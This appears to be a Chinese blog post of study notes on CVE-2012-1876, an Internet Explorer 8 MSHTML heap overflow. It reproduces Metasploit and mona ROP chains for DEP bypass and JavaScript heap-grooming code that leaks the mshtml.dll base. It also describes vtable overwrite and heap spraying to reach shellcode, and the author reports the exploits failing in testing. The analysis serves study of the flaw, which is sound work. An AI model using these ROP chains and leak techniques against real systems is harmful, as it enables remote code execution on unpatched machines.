漏洞战争-cve-2012-1876
4 minute read
About
目标:Internet Explorer 8
目的:利用js绕过dep+aslr
漏洞源:MSHTML.dll
漏洞情况:
Microsoft Internet Explorer 6到11没有正确处理内存中的对象,这允许远程攻击者通过尝试访问不存在的对象来执行任
意代码,导致基于堆的缓冲区溢出,也称为"Col元素远程代码执行漏洞",其中ie9以上采用Nozzle保护机制,会阻止BSTR的分
配,在ie9以上利用方法可参考keenteam的使用VBScript中的toArray()方法,本文中为Jscript的方法
分析
书中在绕过dep的+aslr的时候有两次溢出,第一次是为了得到mshtml.dll的基址以便构造rop gadgets绕过dep,但是在msf的exp中
没有这个步骤,msf直接使用msvcrt.dll或jre.dll来绕过dep,尝试在实际环境中用mona获取msvcrt.dll的rop gadgets,发现获得
的rop gadgets结果与msf中的并不一致,如下:
msf的exp中的rop:
when :msvcrt
print_status("Using msvcrt ROP")
exec_size = code.length
rop =
[
0x77c4ec01, # retn
0x77c4ec00, # pop ebp; retn
0x77c15ed5, # xchg eax,esp; retn (pivot)
0x77c4e392, # pop eax; retn
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # mov eax, dword ptr ds:[eax]; pop ebp; retn
junk,
0x77c2dd6c,
0x77c4ec00, # pop ebp; retn
0x77c35459, # ptr to 'push esp; ret'
0x77c47705, # pop ebx; retn
exec_size, # ebx
0x77c3ea01, # pop ecx; retn
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # pop edi; retn
0x77c46101, # rop nop (-> edi)
0x77c4d680, # pop edx; retn
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # pop eax; retn
nop, # nops (-> eax)
0x77c12df9 # pushad; retn
].pack("V*")
when :jre
print_status("Using JRE ROP")
exec_size = code.length
rop =
[
0x7c346c0b, # retn
0x7c36f970, # pop ebp; retn
0x7c348b05, # xchg eax,esp; retn (pivot)
0x7c36f970, # pop ebp; retn [MSVCR71.dll]
0x7c36f970, # skip 4 bytes [MSVCR71.dll]
0x7c34373a, # pop ebx ; retn [MSVCR71.dll]
exec_size, # ebx
0x7c3444d0, # pop edx ; retn [MSVCR71.dll]
0x00000040, # 0x00000040-> edx
0x7c361829, # pop ecx ; retn [MSVCR71.dll]
0x7c38f036, # &Writable location [MSVCR71.dll]
0x7c342766, # pop edi ; retn [MSVCR71.dll]
0x7c346c0b, # retn (rop nop) [MSVCR71.dll]
0x7c350564, # pop esi ; retn [MSVCR71.dll]
0x7c3415a2, # jmp [eax] [MSVCR71.dll]
0x7c3766ff, # pop eax ; retn [MSVCR71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0ef [IAT msvcr71.dll]
0x7c378c81, # pushad # add al,0ef ; retn [MSVCR71.dll]
0x7c345c30 # ptr to 'push esp; ret ' [MSVCR71.dll]
].pack("V*")
虚拟机中(win7x64+immunity debugger32+python32+mona)用如下命令获取的rop gadgets:
command:!mona rop -m msvcrt.dll -cp nonull
rop gadgets:
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x7788ea09, # POP EBP # RETN [msvcrt.dll]
0x7788ea09, # skip 4 bytes [msvcrt.dll]
0x778afd36, # POP EAX # RETN [msvcrt.dll]
0x3974ffff, # put delta into eax (-> put 0x00000001 into ebx)
0x77847a6b, # ADD EAX,C68B0002 # POP EDI # POP ESI # POP EBX # POP EBP # RETN [msvcrt.dll]
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x7788d3a5, # XCHG EAX,EBX # RETN [msvcrt.dll]
0x7785f5d4, # POP EAX # RETN [msvcrt.dll]
0x39750ffe, # put delta into eax (-> put 0x00001000 into edx)
0x77847a6b, # ADD EAX,C68B0002 # POP EDI # POP ESI # POP EBX # POP EBP # RETN [msvcrt.dll]
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x7786ad98, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x7785aeba, # POP EAX # RETN [msvcrt.dll]
0xa2a7fcd6, # put delta into eax (-> put 0x00000040 into ecx)
0x778b950f, # ADD EAX,5D58036A # RETN [msvcrt.dll]
0x7784b984, # XCHG EAX,ECX # ADD AL,5D # RETN 0x04 [msvcrt.dll]
0x77850a31, # POP EDI # RETN [msvcrt.dll]
0x41414141, # Filler (RETN offset compensation)
0x77829f09, # RETN (ROP NOP) [msvcrt.dll]
0x7787c433, # POP ESI # RETN [msvcrt.dll]
0x7782b7bd, # JMP [EAX] [msvcrt.dll]
0x77851a3a, # POP EAX # RETN [msvcrt.dll]
0x778211bc, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77885cfc, # PUSHAD # RETN [msvcrt.dll]
0x778530ad, # ptr to 'call esp' [msvcrt.dll]
].flatten.pack("V*")
return rop_gadgets
end
发现rop gadgets的地址并不一样,在msf中测试msf的exp是否有效,结果win7x64中的iex32并没有成功溢出,而是停止工作了,这
里查看系统是否开了dep,发现是开了的,难道msf中的exp不支持绕过dep?为了验证,将win7x64中dep关闭(要重启),重新测试msf
的exp,发现还是无法成功溢出,ie和之前一样出现异常而停止工作,后来看到书中配套资料中的rb文件是和msf中的rb文件不一样
的,msf中的rb文件应该是依靠没有启用aslr模块(msvcrt或jre)来一次溢出利用的,不过msf中的rb在本机测试并没有用,后来重
新测试书中配套资料中的rb文件,该rb文件是二次溢出来利用漏洞,第一次溢出找到模块基址,第二次溢出控制代码执行流程,但
是在本机测试依然失败,尝试换成x32系统,仍然失败,后来觉得可能是系统已经安装了补丁,但是systeminfo | find
"2699988"没有找到,不知为何会出现这种情况,尝试用脚本将系统补丁全部删除,再重新尝试,在实验的win7x64位系统上仍然失
败,或许是书中配套资料中的rb文件也不是可以利用的,无奈放下这个问题,这里只学习书中提到的相关技术与这个漏洞的分析.
技术点
[+] cmd中用gflags.exe对ie进程开启hpa选项后,用ie打开poc.html,ie崩溃但是却没有被windbg拦截到异常,原因是ie衍生出子
进程,而windbg默认情况下是不支持子进程调试的,下面命令可开启子进程调试:
.childdbg 1
[+] 书中某一调试步骤中ln 69a69868命令得到的结果为:
(69a69868) mshtml!CTableLayout::`vftable` | (69a699a8) mshtml!CTableLayoutBlock::`vftable`
其中的关键字vftable是指"虚表",虚表与类与虚表指针与对象的关系可参考下面链接:
http://blog.csdn.net/w616589292/article/details/51250285
http://blog.csdn.net/coolshine1234/article/details/17390143
http://blog.csdn.net/luxiaoyu_sdc/article/details/6145403
a)虚表对应类,虚表指针对应对象
b)对象的头4个字节存放的是虚表指针,虚表中每4个字节存放一个虚函数地址,各个虚函数地址构成一张"表"(这里指32位系统下
为4字节,64位系统应该是8字节)
如果[addr]=69a69868,由于69a69868处是虚表,也即69a69868是虚表指针的值,说明addr是对象所在的内存地址,书中参数1指的
是这里的addr,也即书中的[ebp+8]==poi(ebp+8)=065b9ea8
[+] 通过覆盖BSTR头部长度值得到模块基址.可参考如下链接:
http://www.cnblogs.com/Danny-Wei/p/3766337.html
BSTR是一种字符串数据类型,一种Pascal-Style字符串(明确标示字符串长度)和C-Style字符串(以\0结尾)的混合物,主要用于
COM,交互功能等,是一种复合的数据类型,由一个长度前缀,数据字符串和一个终止符组成,如下图所示:
header| |terminator
4bytes|string(unicode)|00 00
通过修改header的内容修改BSTR的长度,使得BSTR可以访问可以访问原始界限以外的内存,由此可获得相关模块的基址以构造rop
链绕过aslr,具体如下:
-------------------------------
|BSTR|BSTR|BSTR|BSTR|BSTR|BSTR|
-------------------------------
|BSTR|BSTR|BSTR|BSTR|BSTR|BSTR|
-------------------------------
|BSTR|BSTR|BSTR|BSTR|BSTR|BSTR|
-------------------------------
首先在内存中连续创建一定数量且大小相同的BSTR,它们在内存中布局如上所示,然后释放一个BSTR并申请一个相同大小的
object(对象),申请的object很可能会被分配到刚刚释放的BSTR所在内存空间上,变成下面:
-------------------------------
|BSTR|BSTR|BSTR|BSTR|BSTR|BSTR|
-------------------------------
|BSTR|BSTR|object|BSTR|BSTR|BSTR|
-------------------------------
|BSTR|BSTR|BSTR|BSTR|BSTR|BSTR|
-------------------------------
此时可修改object前面一个BSTR的header内容,使该BSTR可以访问到object的虚表指针(在object的开关4字节),最终可计算出相
关模块的内存基址.有时候不能修改4字节的BSTR的header内容而只能修改1-2字节时,可以通过修改BSTR的终止符,从而将string
与后面的object连接起来,随后访问修改后的BSTR,也可以访问到object并计算相关模块基址
[+] 上面一个技术点中的通过得到object对象的虚表指针计算模块基址的方法为:
eg.mshtml.dll!CButtonLayout::`vftable`表示mshtml模块中的CButtonLayout类的虚函数表
如果某内存地址为addr处存放的是mshtml模块的CButtonLayout类的虚函数表,则addr是CButtonLayout对象的虚表指针的值,而
aslr的功能是让mshtml模块在内存中加载的基址不同,但addr在mshtml模块中的偏移是固定的,这个偏移量可在动态调试时容易
得到,假设addr在mshtml模块中的偏移量为x,那么由addr计算出mshtml模块为:mshtmlBase_=addr-x
也即对应书中对应的:
mshtmlbase=leak_addr-Number(0x001582b8)
这个技术点是典型的通过内存信息泄露(CButtonLayout对象的虚表指针泄露)获取有关内存布局,目标进程相关的状态信息的方
法,也可以通过静态变量的指针值等获取dll基址
[+] 绕过dep+aslr的一种思路
通过2次溢出,第一次溢出得到模块基址,第二次溢出控制代码执行eip
[+] 书中的构造堆布局以便将mshtml.dll基址泄露的js代码为:
<div id="test"></div>
<script language='javascript'>
var leak_index=-1
var dap="EEEE"
while (dap.length<480) dap+=dap
var padding="AAAA"
while (padding.length<480) padding+=padding
var filler="BBBB"
while (filler.length<480) filler+=filler
var arr=new Array()
var rra=new Array()
var div_container=document.getElementById("test")
div_container.style.cssText="display:none"
for (var i=0;i<500;i+=2){
rra[i]=dap.substring(0,(0x100-6)/2)
arr[i]=padding.substring(0,(0x100-6)/2)
arr[i+1]=filler.substring(0,(0x100-6)/2)
var obj=document.createElement("button")
div_container.append(obj)
}
for (var i=200;i<500;i+=2){
rra[i]=null
CollectGarbage()
}
</script>
上面js代码产生如下效果:
rra[0]=E..E(125个E,占内存大小为0x100)
rra[2]=E..E(125个E,占内存大小为0x100)
...
...
...
rra[498]=E..E(125个E,占内存大小为0x100)
arr[0]=A..A(125个A,占内存大小为0x100)
arr[1]=B..B(125个B,占内存大小为0x100)
arr[2]=A..A(125个A,占内存大小为0x100)
arr[3]=B..B(125个B,占内存大小为0x100)
...
...
...
arr[498]=A..A(125个A,占内存大小为0x100)
arr[499]=B..B(125个B,占内存大小为0x100)
CButtonLayout
CButtonLayout
...
...
CButtonLayout
(共250个CButonLayout对象)
在代码中分别产生了rra数组,arr数组,CButtonLayout对象,但是在内存中并不是按照上面的存放顺序存放的,数组并不是存放在
连续的内存空间中,而是在for循环中连续存放如下:
|rra[0]=E..E(125个E)|arr[0]=A..A(125个A)|arr[1]=B..B(125个B)|CButonLayout|rra[2]=E..E(125个E)|arr[2]=A..A......
纵向排列如下:
|rra[0]=E..E(125个E)|arr[0]=A..A(125个A)|arr[1]=B..B(125个B)|CButonLayout|
|rra[2]=E..E(125个E)|arr[2]=A..A(125个A)|arr[3]=B..B(125个B)|CButonLayout|
|rra[4]=E..E(125个E)|arr[4]=A..A(125个A)|arr[5]=B..B(125个B)|CButonLayout|
...
...
|rra[498]=E..E(125个E)|arr[498]=A..A(125个A)|arr[499]=B..B(125个B)|CButonLayout|
#接着又间隔释放了从rra[200],rra[202],rra[204]...到rra[498](一共150个rra中元素被释放)
每个rra或arr数组的元素或CButonLayout对象都是分配在堆块当中,在计算长度的时候要算上堆块最开关的8字节的堆块指针位
置
[+] 通过修改对象的虚表指针和heap spary来达到控制指令流程的方法:
1)传统的堆喷射是申请200个每个1M的内存块,200x1024x1024=0x0c800000>0x0c0c0c0c,在0c0c0c0c处布置90nop就可以执行到
shellcode了,因为这样的内存布局在0x0c0c0c0c处是90nop的概率在99.99%以上,每个1M的内存分布图如下:
Header 32bytes|Length 4bytes|0x90|0x90|0x90|0x90|0x90|...
|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|
|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|
|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|
|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|
|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|
...
...
...
|0x90|0x90|0x90|0x90|0x90|0x90|0x90|shellcode|Null 2bytes|
2)此漏洞cve-2012-1876不能用上面的传统的heap spary方法,因为该漏洞可以做的是:
修改对象(CButonLayout)的头4字节的虚表指针,要通过修改虚表指针和heap spary来达到控制指令执行流程,要在内存中布局如
下图:
Header 32bytes|Length 4bytes|0x0c|0x0c|0x0c|0x0c|0x0c|...
|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|
|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|
|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|
|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|
|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|
...
...
...
|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|0x0c|shellcode|Null 2bytes|
因为0x0C0C会被当成一条指令"or al,0Ch",是除了0x90以外的另外一种nop指令,不影响shellcode的执行,所以将虚表指针修改
为0x0c0c0c0c之后会执行call [0x0c0c0c0c],也即call 0x0c0c0c0c,之后就可以执行shellcode了,也可参考如下链接:
http://blog.csdn.net/magictong/article/details/7391397
在书中介绍这个漏洞中,书中对应exp(和msf中exp)都是将虚表指针修改为1178993*100=0x07070024,之后有对虚表中偏移+8处的
虚函数指针的函数调用call [eax+8],也即call [0x0707002c],只要按照上面布置内存分布,在0x0707002c(除了0x0c0c0c0c以外
,0x0707002c也可以是稳定的可利用的地址)处将有99.99%的可能性会对应0x0c0c0c0c指令,然后一直执行0c0c到shellcode处,也
即实现了通过修改虚表指针和heap spary来达到控制指令执行流程目的